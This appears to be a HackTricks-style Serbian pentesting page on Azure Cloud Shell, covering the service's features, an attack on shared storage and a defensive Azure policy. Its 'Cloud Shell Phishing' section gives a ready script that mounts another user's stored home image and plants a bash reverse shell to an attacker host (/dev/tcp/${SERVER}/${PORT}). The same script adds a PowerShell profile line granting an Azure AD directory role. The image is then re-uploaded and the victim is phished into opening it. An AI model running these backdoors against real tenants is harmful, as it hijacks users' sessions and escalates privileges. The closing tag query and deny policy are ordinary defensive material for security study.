# Az - Cloud Shell

{{#include ../../../banners/hacktricks-training.md}}

## Azure Cloud Shell

**Azure Cloud Shell** je interaktivni, autentifikovani terminal dostupan preko pregledača, dizajniran za upravljanje Azure resursima, nudeći fleksibilnost rada sa Bash ili PowerShell. Pokreće se na privremenom, po sesiji hostu koji se isključuje nakon 20 minuta neaktivnosti, dok se datoteke čuvaju na lokaciji $HOME koristeći deljenje datoteka od 5 GB. Cloud Shell može se pristupiti kroz više tačaka, uključujući Azure portal, shell.azure.com, Azure CLI i PowerShell dokumentaciju, Azure mobilnu aplikaciju i Visual Studio Code Azure Account ekstenziju.

Nema dozvola dodeljenih ovoj usluzi, stoga nema tehnika eskalacije privilegija. Takođe, ne postoji nikakva vrsta enumeracije.

### Ključne karakteristike

- **Preinstalirani alati**: Cloud Shell uključuje sveobuhvatan set preinstaliranih alata kao što su Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git i tekstualni editori poput vim, nano i emacs. Ovi alati su spremni za korišćenje. Da biste naveli instalirane pakete i module, možete koristiti "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
- **Azure disk (Azure:)**: PowerShell u Azure Cloud Shell uključuje Azure disk (Azure:), koji omogućava lako navigiranje Azure resursima kao što su Računanje, Mreža i Skladište koristeći komande slične datotečnom sistemu. Pređite na Azure disk sa cd Azure: i vratite se u svoj početni direktorijum sa cd ~. I dalje možete koristiti Azure PowerShell cmdlets za upravljanje resursima sa bilo kog diska.
- **Instalacija prilagođenih alata**: Korisnici koji konfigurišu Cloud Shell sa nalogom za skladištenje mogu instalirati dodatne alate koji ne zahtevaju root dozvole. Ova funkcija omogućava dalju prilagodbu okruženja Cloud Shell, omogućavajući korisnicima da prilagode svoj setup svojim specifičnim potrebama.
- **$HOME postojanost**: Kada prvi put pokrenete Azure Cloud Shell, možete ga koristiti sa ili bez povezanog naloga za skladištenje.
- Odabirom da ne povežete skladište stvara se ephemerna sesija gde se datoteke brišu kada sesija završi.
- Da biste sačuvali datoteke između sesija, imate opciju da **montirate nalog za skladištenje**, koji se automatski povezuje kao `$HOME\clouddrive`, sa vašim `$HOME` direktorijumom **sačuvanim kao .img datoteka u File Share.**

### Cloud Shell Phishing

Ako napadač pronađe slike drugih korisnika u Skladišnom nalogu kojem ima pristup za pisanje i čitanje, moći će da preuzme sliku, **doda bash i PS backdoor u nju**, i ponovo je otpremi u Skladišni nalog tako da će sledeći put kada korisnik pristupi shell-u, **komande biti automatski izvršene**.

- **Preuzmi, backdoor i otpremi sliku:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **Zatim, phishingujte korisnika da pristupi https://shell.azure.com/**

### Pronađite i zabranite automatske naloge za skladištenje Cloud Shell-a

Nalozi za skladištenje koje kreira Cloud Shell su označeni sa **`ms-resource-usage:azure-cloud-shell`**. Moguće je kreirati Azure politiku resursa koja onemogućava kreiranje resursa sa ovom oznakom.

Pronađite sve naloge za skladištenje koje je kreirao Cloud Shell po oznakama:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
Politika koja zabranjuje kreiranje automatskih naloga za skladištenje za skladište cloud shell-a na osnovu oznaka:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## Reference

- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)


## Persistencija

{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
